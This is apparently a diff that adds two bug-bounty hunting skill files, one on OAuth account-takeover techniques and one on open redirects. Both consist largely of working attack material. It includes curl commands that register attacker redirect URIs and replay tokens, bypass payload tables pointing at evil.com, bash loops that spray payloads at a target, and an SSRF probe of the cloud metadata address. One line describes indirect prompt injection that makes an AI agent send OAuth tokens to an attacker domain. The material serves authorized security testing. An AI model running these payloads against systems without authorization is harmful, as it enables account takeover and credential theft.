221
+ curl -X POST https://idp/connect/register \
222
+ -H "Content-Type: application/json" \
223
+ -d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
224
+ ```
225
+
226
+ ### Cross-Client Token Confusion
227
+ ```bash
228
+ # Mint token for client A, attempt replay on client B's API
229
+ TOKEN=$(curl -s https://idp/oauth/token \
230
+ -d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)
231
+
232
+ # Test if client B's API accepts the token (no audience validation)
233
+ curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
234
+ ```
235
+
236
+ ### OIDC prompt=none Silent Re-Auth Test
237
+ ```bash
238
+ # Test whether adding prompt=none to authorize request yields a token without user interaction
239
+ # Signals session fixation / silent auth abuse potential
240
+ curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
241
+ ```
242
+
243
+ ---
244
+
245
+ ## Common Root Causes
246
+
247
+ 1. **Weak `redirect_uri` validation** — developers whitelist by prefix (`startsWith`) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.
248
+
249
+ 2. **Missing or unvalidated `state` parameter** — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).
250
+
251
+ 3. **Nonce not validated post-exchange** — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.
252
+
253
+ 4. **Authentication step ordering not enforced server-side** — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.
254
+
255
+ 5. **Token/code in URL with outbound requests on callback page** — developers land users on a callback page with tokens in the query string, then that page fires analytics, social share, or CDN requests that leak the full URL via `Referer` header.
256
+
257
+ 6. **Mobile deep link handlers trust all input URLs** — Android/iOS developers build webview wrappers for push notification flows without validating that the loaded URL belongs to their own domain.
258
+
259
+ 7. **Misconfigured OAuth application registration** — developers register wildcard redirect URIs (`https://*.example.com/*`) or don't restrict them at all during development and forget to lock down for production.
260
+
261
+ 8. **Client secrets embedded in mobile apps** — treating confidential client credentials as public, enabling an attacker with the secret to perform token requests with arbitrary redirect URIs.
262
+
263
+ 9. **OIDC `sub` claim ambiguity across identity providers** — apps accepting login from multiple IdPs (Google, Microsoft, Apple) may key accounts on `sub` alone without IdP isolation. If two IdPs emit the same `sub` for different users, one IdP's attacker hijacks accounts linked to the other IdP.
264
+
265
+ ---
266
+
267
+ ## Bypass Techniques
268
+
269
+ ### Defender: Exact-match `redirect_uri` whitelist
270
+ **Bypass:** Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.
271
+ ```
272
+ redirect_uri=https://legit.com/logout?next=https://evil.com
273
+ ```
274
+
275
+ ### Defender: `state` parameter required
276
+ **Bypass:** Check if state is validated for *length/format* but not *binding to session*. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.
277
+
278
+ ### Defender: Fragment-only token delivery (`response_type=token`)
279
+ **Bypass:** Fragment isn't sent in `Referer` by browsers, but JavaScript on the callback page may read `window.location.hash` and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.
280
+
281
+ ### Defender: Host validation on mobile deep links
282
+ **Bypass:** Try URL encoding (`https%3A//evil.com`), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.
283
+
284
+ ### Defender: Short-lived authorization codes
285
+ **Bypass:** Referrer leakage and open redirects work even with short-lived codes if the attacker has a fast receiver. For CSRF, the victim completes the flow so timing is less critical.
286
+
287
+ ### Defender: PKCE enforcement
288
+ **Bypass:** Check if PKCE is required for *all* clients or only specific ones. Legacy clients or mobile apps may be exempt. Test with `code_challenge` omitted — if the server still issues tokens, PKCE isn't enforced.
289
+
290
+ ### Defender: Nonce validation
291
+ **Bypass:** Check if nonce is validated client-side in JavaScript only. Intercept and modify the ID token's nonce claim if the signature isn't verified (rare but seen in misconfigured implementations). Also test if nonce is validated on *initial* request but not on token refresh.
292
+
293
+ ---
294
+
295
+ ## Gate 0 Validation
296
+
297
+ Before writing the report, answer all three:
298
+
299
+ **1. What can the attacker DO right now?**
300
+ Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.
301
+
302
+ **2. What does the victim LOSE?**
303
+ Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.
304
+
305
+ **3. Can it be reproduced in 10 minutes from scratch?**
306
+ Open a fresh browser/device with no prior state. If you can walk from "unauthenticated" to "authenticated as victim" in 10 minutes using only your written steps, the bug is real and reportable. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.
307
+
308
+ ---
309
+
310
+ ## Real Impact Examples
311
+
312
+ ### Scenario 1: Mobile Session Theft via Push Notification Deep Link (PayPal/Venmo pattern)
313
+ An attacker discovers that the Android app's push notification handler accepts an arbitrary `url` parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.
314
+
315
+ ### Scenario 2: Email Verification Bypass via Direct Token Endpoint Access (GitLab pattern)
316
+ A developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the `/oauth/token` endpoint performs no verification status check — it only validates credentials. The attacker calls `/oauth/token` directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.
317
+
318
+ ### Scenario 3: OAuth Token Theft via Referrer Header on Language Change (Rockstar Games pattern)
319
+ The OAuth callback page for Facebook login lands users at a URL containing the `access_token` in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a `Referer` header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.
320
+
321
+ ---
322
+
323
+ ## Disclosed Report Citations (Backfill +9 — 2020-2024)
324
+
325
+ The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 10 internal references. Each is a distinct OAuth subclass with a working PoC documented in the cited writeup.
326
+
327
+ 11. **Semrush — IDN-homograph redirect_uri bypass** ([H1 #861940](https://hackerone.com/reports/861940))
328
+ - Subclass: `redirect_uri` bypass via Unicode-confusable host (homograph)
329
+ - Payload: `redirect_uri=https://oauth.šemrush.com/cb` (punycode `xn--emrush-9jb.com`) — passed Latin-only string check on validator
330
+ - Root cause: server validates `redirect_uri` host as ASCII-string equality but does not normalize Unicode → confusables → punycode before compare
331
+ - Disclosure: 2020, public bounty (amount not disclosed); discoverer Yassine Aboukir
332
+
333
+ 12. **Bohemia Interactive — redirect_uri filter bypass (BiStudio)** ([H1 #405100](https://hackerone.com/reports/405100))
334
+ - Subclass: `redirect_uri` validation bypass → OAuth token exfiltration
335
+ - Payload: redirect_uri crafted to defeat the regex/prefix filter and land tokens on attacker host; reporter chained the bypass to a full token-leak PoC
336
+ - Root cause: weak redirect_uri filter that accepted attacker-controlled host while still matching the intended pattern
337
+ - Year: 2018-disclosed; remains a canonical example of regex-redirect_uri-bypass cited in subsequent reports
338
+
339
+ 13. **pixiv — path-traversal in OAuth `redirect_uri`** ([H1 #1861974](https://hackerone.com/reports/1861974))
340
+ - Subclass: path-traversal `redirect_uri` bypass → authorization-code leakage
341
+ - Payload: `redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb` — server normalized after validation
342
+ - Root cause: validator inspected raw string; downstream HTTP/browser handled `../` traversal and emitted code to attacker path
343
+ - Disclosure: 2023, **$2,000 bounty**, 244 upvotes — confirmed paid
344
+
345
+ 14. **Slack — OAuth2 redirect_uri bypass (domain-suffix)** ([H1 #2575](https://hackerone.com/reports/2575))
346
+ - Subclass: `redirect_uri` validation bypass via domain-suffix / subdomain confusion
347
+ - Payload: redirect_uri using a domain that suffix-matched the registered host (e.g., `slack.com.attacker.com`) defeated the suffix-only check
348
+ - Root cause: `endsWith()` / suffix-match instead of strict host equality
349
+ - Disclosure: 2013 (foundational case still cited in modern OAuth training material) — Slack public bounty
350
+
351
+ 15. **Booking.com (Facebook social-login)** ([Salt Labs writeup](https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com))
352
+ - Subclass: three-step chain — open-redirect on whitelisted domain + redirect_uri bypass + `response_type` swap → Facebook OAuth code/token theft → ATO
353
+ - Payload: authorize URL with `redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb` and `response_type` toggled to leak tokens via fragment
354
+ - Root cause: validator trusted any path under `account.booking.com`; open redirect on that host bounced the auth code to attacker
355
+ - Disclosure: March 2023 — coordinated disclosure, no public bounty figure (~500M MAU exposure)
356
+
357
+ 16. **Expo.io (`expo-auth-session`) — CVE-2023-28131** ([Salt Labs writeup](https://salt.security/blog/a-new-oauth-vulnerability-that-may-impact-hundreds-of-online-services))
358
+ - Subclass: scope-creep / unvalidated `returnUrl` parameter → cross-app OAuth-code theft (impacts every consumer of expo-auth-session social login)
359
+ - Payload: attacker passes `returnUrl=https://attacker.tld` to the OAuth proxy → Expo blindly forwards Facebook/Google/Apple/Twitter code to attacker
360
+ - Root cause: framework-level OAuth proxy did not validate `returnUrl` host before forwarding the social-IdP callback
361
+ - Disclosure: May 2023; CVSS 9.6; fixed Feb 2023 hotfix + deprecated by Feb 26 2023
362
+
363
+ 17. **Microsoft Azure AD multi-tenant — "nOAuth"** ([Descope writeup](https://www.descope.com/blog/post/noauth))
364
+ - Subclass: cross-IdP account-takeover via unverified, mutable `email` claim ("Pass-The-Token" equivalent)
365
+ - Payload: attacker sets Azure AD admin profile `mail` attribute to victim's address → clicks "Log in with Microsoft" on relying party that keys users by email claim → instant ATO
366
+ - Root cause: Microsoft `email` claim is mutable + unverified; RPs treated it as primary identifier
367
+ - Disclosure: April 11 2023 reported, fixed June 20 2023 (mitigations + new `xms_edov` claim)
368
+
369
+ 18. **Grammarly / Vidio / Bukalapak — "Pass-The-Token" social-login** ([Salt Labs writeup](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts))
370
+ - Subclass: missing audience / `aud` validation on Facebook access_token → cross-client token replay → ATO
371
+ - Payload: attacker obtains Facebook token issued for `attacker.app` → replays the token to Grammarly/Vidio/Bukalapak login API → server fetches FB user via `/me`, finds victim's email, issues victim session
372
+ - Root cause: relying party calls Facebook `/me` with attacker-issued token but never validates the token's `app_id` belongs to the RP
373
+ - Disclosure: October 2023 — coordinated, ~1B account exposure across the three sites
374
+
375
+ 19. **Zoom — OAuth "dirty dancing" chained ATO** ([Harel Security writeup](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html))
376
+ - Subclass: `response_type=token` swap + lax `postMessage` origin check + cookie-tossing → authorization-code leak via web_message response mode → ATO + cam/mic hijack
377
+ - Payload: attacker page opens Zoom OAuth with `response_type=code&response_mode=web_message`, intercepts the resulting `postMessage` because window listener accepts any `*.zoom.us` origin → exchanges code for session
378
+ - Root cause: combination of weak postMessage origin check, missing CSRF binding on `state`, and `response_mode=web_message` returning code to a parent window without exact-origin enforcement
379
+ - Disclosure: reported Oct 2023, fixed Jan 2024, **$15,000 bounty** (Sudi / BrunoZero / H4R3L)
380
+
381
+ 20. **Detectify Labs — "Dirty Dancing" multi-vendor OAuth token leakage** ([Detectify writeup, F. Rosén](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/))
382
+ - Subclass: response-type switching + invalid-state quirks + 3rd-party JS gadget chains → OAuth code/token leakage with NO XSS required
383
+ - Payload: attacker forces `response_type=token` on an endpoint that only validated `code`; combines with promiscuous postMessage listeners and URL-storage gadgets on the callback page to siphon tokens via cross-origin reads
384
+ - Root cause: OAuth server tolerates response_type downgrade/swap; callback page leaks `window.location` via permissive postMessage receivers
385
+ - Disclosure: July 2022 — multi-vendor (Apple, Microsoft, Slack et al.); PortSwigger Top 10 Web Hacks 2022 #1
386
+
387
+ ---
388
+
389
+ ## Browser-parse vs server-parse — redirect_uri prefix-match bypass shapes
390
+
391
+ A server-side prefix-match flaw on `redirect_uri` is **necessary but not sufficient** to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.
392
+
393
+ | Server `redirect_uri` validator | Attack URL | Server `startswith()` | Browser actual host | Exploit? |
394
+ |---|---|---|---|---|
395
+ | prefix = `https://acme.example` (no slash) | `https://acme.example@evil.com/cb` | passes | evil.com (per WHATWG URL parsing — `@` is the userinfo delimiter, BEFORE the first `/` after `://`) | **YES** |
396
+ | prefix = `https://acme.example/` (trailing slash) | `https://acme.example/@evil.com/cb` | passes | **acme.example** (the `@` is now AFTER the first `/`, so WHATWG parses it as a path character) | **NO** — browser stays on acme.example |
397
+ | prefix = `https://acme.example` (substring match) | `https://acme.example.evil.com/cb` | passes | acme.example.evil.com (subdomain extension — the `.evil.com` extends the host) | **YES** |
398
+ | prefix = `https://acme.example/` (trailing slash, server normalizes `..`) | `https://acme.example/../../@evil.com/cb` | passes raw startswith | acme.example (server normalizes path; even if it didn't, browser path-normalizes too) | usually **NO** |
399
+ | prefix = `https://acme.example/` (Chromium-specific) | `https://acme.example/\@evil.com/cb` | passes | host depends — Chromium converts `\` to `/` so this becomes `https://acme.example//@evil.com/cb` and stays on acme.example | usually **NO** |
400
+
401
+ **Operational rule:** the WHATWG URL parser (used by all modern browsers since 2018) does userinfo parsing ONLY in the authority section — i.e., **before the first `/` after `://`**. Once the path begins, `@` is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.
402
+
403
+ **Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain.** Server-side accept + browser-side stay-on-legitimate-host = **not** ATO. Verified live in `docs/verification/phase3-playwright-browser-execution.md` Test 29.
404
+
405
+ ---
406
+
407
+ ## Related Skills & Chains
408
+
409
+ - **`hunt-subdomain`** — The single highest-impact OAuth chain. Chain primitive: OAuth `redirect_uri` validator accepts any `*.target.com` subdomain + recon reveals `dev-staging.target.com` CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft `/oauth/authorize?redirect_uri=https://dev-staging.target.com/cb` → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.
410
+ - **`hunt-ato`** — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: `state` parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures `code` before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.
411
+ - **`hunt-llm-ai`** — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts `redirect_uri` from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.
412
+ - **`hunt-saml`** — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters `NameID` to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.
413
+ - **`security-arsenal`** — Pull the OAuth `redirect_uri` Bypass Table (host-confusion `legit.com@evil.com`, `legit.com.evil.com`, path-traversal, parameter pollution, encoded-slash `%2F`, fragment-injection `#legit.com`) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.
414
+ - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the `state` param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.
@@ -0,0 +1,179 @@
1
+ ---
2
+ name: hunt-open-redirect
3
+ description: Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
4
+ sources: hackerone_public
5
+ report_count: 28
6
+ ---
7
+
8
+ # HUNT-OPEN-REDIRECT — Open Redirect
9
+
10
+ ## Crown Jewel Targets
11
+
12
+ Open redirect alone is Low. Chained to OAuth = Critical (ATO).
13
+
14
+ **Highest-value chains:**
15
+ - **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
16
+ - **Open redirect → phishing** — users trust the URL because it starts with target.com
17
+ - **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF
18
+ - **Open redirect → session fixation** — force user to login endpoint with pre-set session
19
+
20
+ ---
21
+
22
+ ## Attack Surface Signals
23
+
24
+ ```
25
+ ?redirect=
26
+ ?next=
27
+ ?url=
28
+ ?return=
29
+ ?returnTo=
30
+ ?continue=
31
+ ?dest=
32
+ ?destination=
33
+ ?go=
34
+ ?forward=
35
+ ?location=
36
+ ?target=
37
+ ?redir=
38
+ ?redirect_uri=
39
+ ?callback=
40
+ ?checkout_url=
41
+ ?success_url=
42
+ ?cancel_url=
43
+ /logout?returnTo=
44
+ /login?next=
45
+ /sso?callback=
46
+ ```
47
+
48
+ ---
49
+
50
+ ## Bypass Table
51
+
52
+ | Technique | Payload |
53
+ |-----------|---------|
54
+ | Basic | `https://evil.com` |
55
+ | Protocol relative | `//evil.com` |
56
+ | Backslash bypass | `/\\evil.com` |
57
+ | At-sign confusion | `https://target.com@evil.com` |
58
+ | Double slash | `//evil.com/%2F..` |
59
+ | URL encoding | `%2Fevil.com` |
60
+ | Null byte | `evil.com%00target.com` |
61
+ | Whitespace | `evil.com%09` or `%20` |
62
+ | JavaScript URI | `javascript:window.location='https://evil.com'` |
63
+ | Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` |
64
+ | Subdomain | `https://target.com.evil.com` |
65
+ | Fragment | `https://evil.com#.target.com` |
66
+
67
+ ---
68
+
69
+ ## Step-by-Step Hunting Methodology
70
+
71
+ ### Phase 1 — Discover Redirect Parameters
72
+ ```bash
73
+ # Extract all redirect candidates from crawl
74
+ cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
75
+ wc -l recon/$TARGET/redirect-candidates.txt
76
+
77
+ # Less common param names
78
+ grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
79
+ recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
80
+ ```
81
+
82
+ ### Phase 2 — Basic Test
83
+ ```bash
84
+ COLLAB="https://evil.com"
85
+ cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
86
+ LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
87
+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
88
+ [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
89
+ done
90
+ ```
91
+
92
+ ### Phase 3 — Bypass Techniques
93
+ ```bash
94
+ BASE_URL="https://$TARGET/redirect?url="
95
+ PAYLOADS=(
96
+ "https://evil.com"
97
+ "//evil.com"
98
+ "/\\evil.com"
99
+ "https://$TARGET@evil.com"
100
+ "https://evil.com%23.$TARGET"
101
+ "https://evil.com%09"
102
+ )
103
+ for P in "${PAYLOADS[@]}"; do
104
+ LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
105
+ echo "$P → $LOC"
106
+ done
107
+ ```
108
+
109
+ ### Phase 3b — DOM-based open redirect (client-side sink)
110
+ Server-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`/`location.search`/`document.referrer`) assigned to a navigation sink.
111
+ ```bash
112
+ grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
113
+ | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
114
+ # Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
115
+ # Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
116
+ ```
117
+ (PortSwigger: DOM-based open redirection.)
118
+
119
+ ### Phase 4 — OAuth Chain Test
120
+ ```bash
121
+ # If target has OAuth, check if redirect_uri accepts open redirect
122
+ grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
123
+
124
+ # Construct OAuth URL with open redirect as redirect_uri
125
+ # Normal: redirect_uri=https://target.com/callback
126
+ # Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
127
+ OAUTH_URL="https://$TARGET/oauth/authorize"
128
+ curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
129
+ ```
130
+
131
+ ### Phase 5 — Server-Side Redirect (SSRF escalation)
132
+ ```bash
133
+ # If the app fetches the redirect target server-side (302 fetch follow)
134
+ curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
135
+
136
+ # Or: if app makes HTTP request to the redirect destination
137
+ curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
138
+ -H "Cookie: $SESSION"
139
+ ```
140
+
141
+ ---
142
+
143
+ ## Automation
144
+ ```bash
145
+ # openredirex
146
+ pip3 install openredirex
147
+ openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
148
+
149
+ # nuclei
150
+ nuclei -u https://$TARGET -t redirect/ -severity medium,high
151
+
152
+ # gf + qsreplace
153
+ cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
154
+ xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
155
+ ```
156
+
157
+ ---
158
+
159
+ ## Chain Table
160
+
161
+ | Open redirect finding | Chain to | Impact |
162
+ |----------------------|----------|--------|
163
+ | Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
164
+ | Any open redirect | Phishing URL with target domain | Social engineering |
165
+ | Server-side redirect | SSRF via followed redirect | Internal service access |
166
+ | Logout redirect | Session fixation | Force login with known session |
167
+
168
+ ---
169
+
170
+ ## Validation
171
+
172
+ ✅ Location header in response points to evil.com (your controlled domain)
173
+ ✅ Browser follows redirect to attacker-controlled page
174
+
175
+ **Severity:**
176
+ - Redirect alone: Low (most programs)
177
+ - Chains to OAuth code theft → ATO: High/Critical
178
+ - Chains to phishing with brand name: Low-Medium
179
+ - Server-side → SSRF: High